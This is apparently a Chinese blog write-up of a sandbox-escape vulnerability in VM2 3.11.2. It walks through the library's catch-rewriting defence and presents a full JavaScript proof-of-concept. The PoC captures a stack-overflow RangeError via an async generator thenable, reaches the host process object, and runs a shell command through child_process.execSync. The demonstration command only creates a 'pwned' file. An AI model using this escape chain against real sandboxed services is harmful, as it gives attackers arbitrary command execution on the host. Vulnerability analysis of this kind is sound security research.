Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
833 字
4 分钟
VM2@3.11.2沙箱逃逸
2026-05-16
统计加载中...

很新的重磅CVE,VM2利用底层的V8进行的沙箱逃逸

为此,clone了一份VM2@3.11.2的源码

入口是

run(code, options) {
let script;
let filename;
if (typeof options === 'object') {
filename = options.filename;
} else {
filename = options;
}
if (code instanceof VMScript) {
script = code._compileVM();
checkAsync(this._allowAsync || !code._hasAsync);
} else {
const useFileName = filename || 'vm.js';
let scriptCode = this._compiler(code, useFileName);
const ret = transformer(null, scriptCode, false, false, useFileName);
scriptCode = ret.code;
checkAsync(this._allowAsync || !ret.hasAsync);
// Compile the script here so that we don't need to create a instance of VMScript.
script = new Script(scriptCode, {
__proto__: null,
filename: useFileName,
displayErrors: false,
});
}

可以看到核心校验在const ret = transformer(null, scriptCode, false, false, useFileName);

code被传入了transformer,

可以看到最上面就导入了const {full: acornWalkFull} = require(‘acorn-walk’);

AST的语法扫描库,动态扫描AST的每一个节点,那看看是怎么进行判断的

acornWalkFull(ast, (node, state, type) => {
if (type === 'Function') {
if (node.async) hasAsync = true;
}
const nodeType = node.type;
if (nodeType === 'CatchClause') {
const param = node.param;
if (param) {
if (param.type === 'Identifier') {
const name = assertType(param, 'Identifier').name;
const cBody = assertType(node.body, 'BlockStatement');
if (cBody.body.length > 0) {
insertions.push({
__proto__: null,
pos: cBody.body[0].start,
order: TO_LEFT,
coder: () => `name={INTERNAL_STATE_NAME}.handleException(${name});`
});
}
} else {
insertions.push({
__proto__: null,
pos: node.start,
order: TO_RIGHT,
coder: () => `catch(${tmpname}){tmpname={INTERNAL_STATE_NAME}.handleException(${tmpname});try{throw ${tmpname};}`
});
insertions.push({
__proto__: null,
pos: node.body.end,
order: TO_LEFT,
coder: () => `}`
});
}
}

当传入的代码有catch error时

为了防止拿到constructor的function方法,这里对于AST树做了push, 改写 catch,

让异常先过 handleException ,当然,promise在bridge.js也做了hook,

在VM2表面的源码来看仿佛是没什么可能性了,

在Promise和异常被ban的情况下,这个CVE揭示了一些新的方向思考

nodejs,以及chrome内核原始的js都是依赖于V8的实现,

这个引擎是C为底层实现的

难点在于我们如何不通过上述的两种方式以调用异常

catch不行,new一个error类也不行,因为类已经经过了净化,这里就可以调用非catch和promise

的方法去获取error对象,请看

class E extends Error {}
function so(d) {
if (d > 0) so(d - 1);
const e = new E();
e.stack;
throw e;
}

这里传入的d可以是两种结果,当然,

这是尚未经过catch的e

async function* helper() {
yield* {
[Symbol.asyncIterator]: () => ({
next: v => ({ value: v, done: false })
})
};
}
async function doCatch(f) {
const i = helper();
await i.next();
const v = await i.return({
then(r) {
f();
r();
}
});
return v.value;
}
(async function f() {
let min = 0;
let max = 10000000;
while (min < max) {
const mid = (min + max) >> 1;
const e = await doCatch(() => so(mid));
if (e.name === "RangeError" && !(e instanceof RangeError)) {
const process = e.constructor.constructor("return process")();
const cp = process.mainModule.require("child_process");
const cmd = process.platform === "win32"
? "cmd /c echo pwned>pwned.txt"
: "touch pwned";
cp.execSync(cmd);
return "escaped";
}
if (e instanceof E) {
min = mid + 1;
} else {
max = mid;
}
}
return "not triggered";
})();

so只有两个结果,一个是爆栈,另一个就是抛RangeError.

helper是异步迭代生成器,当一个对象要想有异步迭代iterator

就要有Symbol.asyncIterator

在 const e = await doCatch(() => so(mid));时候doCatch可能会收到RangeError,

然后i.return尝试关闭 generator,并处理传入的 thenable

i.return({
then(r) {
f();
r();
}
});

这其中是有then方法的,V8会默认调用,then里会执行so(mid),这里可能会抛出的RangeError就会被通过

V8默认调用的方法跑完这个流程,并且赋值给e,

这时已经完成了对VM2的绕过,这里并未利用catch和promise等等方法,拿到e后,

const process = e.constructor.constructor(“return process”)();

至此终了了

VM2@3.11.2沙箱逃逸
https://ymsora.com/posts/vm2沙箱逃逸/
作者
萦梦sora~X
发布于
2026-05-16
许可协议
Unlicensed

部分信息可能已经过时